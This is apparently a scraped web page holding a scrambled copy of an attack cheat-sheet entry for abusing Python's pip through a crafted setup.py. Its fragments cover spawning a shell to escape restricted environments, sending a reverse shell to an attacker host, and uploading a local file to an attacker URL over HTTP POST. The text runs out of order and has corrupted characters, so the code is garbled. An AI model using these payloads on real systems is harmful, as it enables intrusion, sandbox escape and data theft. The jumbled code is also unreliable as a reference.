![]() ![]() Serve files in the local folder running an HTTP server. R.urlopen(e, bytes(u.urlencode().encode()))' > $TF/setup.py If sys.version_info.major = 3: import urllib.request as r, urllib.parse as u export URL=Įcho 'import sys from os import environ as e Run an HTTP service on the attacker box to collect the file. Send local file via “d” parameter of a HTTP POST request. export RHOST=Įcho 'import sys,socket,os,pty s=socket.socket() Run socat file:`tty`,raw,echo=0 tcp-listen:12345 on the attacker box to receive the shell. It can send back a reverse shell to a listening attacker to open a remote network access. It can be used to break out from restricted environments by spawning an interactive system shell.Įcho "import os os.execl('/bin/sh', 'sh', '-c', 'sh $(tty) 2>$(tty)')" > $TF/setup.py
0 Comments
Leave a Reply. |